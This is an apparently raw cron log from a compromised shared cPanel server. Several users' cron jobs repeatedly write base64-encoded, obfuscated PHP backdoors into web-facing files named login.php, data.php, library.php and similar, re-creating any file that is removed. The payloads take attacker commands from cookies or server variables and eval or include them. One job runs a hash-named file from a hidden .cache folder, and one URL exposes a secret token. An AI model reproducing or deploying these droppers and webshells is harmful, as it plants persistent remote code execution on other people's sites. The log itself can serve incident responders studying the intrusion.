yogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:55:02 medusa CROND[27615]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 04:55:02 medusa CROND[27618]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:55:02 medusa CROND[27619]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 04:55:02 medusa CROND[27623]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:55:02 medusa CROND[27625]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:55:02 medusa CROND[27620]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 04:55:02 medusa CROND[27628]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 04:55:02 medusa CROND[27631]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:55:02 medusa CROND[27627]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 04:55:02 medusa CROND[27626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:55:02 medusa CROND[27646]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:55:02 medusa CROND[27642]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 04:56:01 medusa CROND[13990]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 04:56:01 medusa CROND[14063]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:56:01 medusa CROND[14064]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:56:01 medusa CROND[14068]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:56:01 medusa CROND[14072]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:56:01 medusa CROND[14076]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:56:01 medusa CROND[14077]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:56:01 medusa CROND[14078]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:56:01 medusa CROND[14079]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:56:01 medusa CROND[14080]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:56:01 medusa CROND[14088]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 04:56:01 medusa CROND[14091]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 04:56:01 medusa CROND[14090]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:56:01 medusa CROND[14094]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:57:02 medusa CROND[1313]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:57:02 medusa CROND[1394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:57:02 medusa CROND[1395]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:57:02 medusa CROND[1396]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:57:02 medusa CROND[1397]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
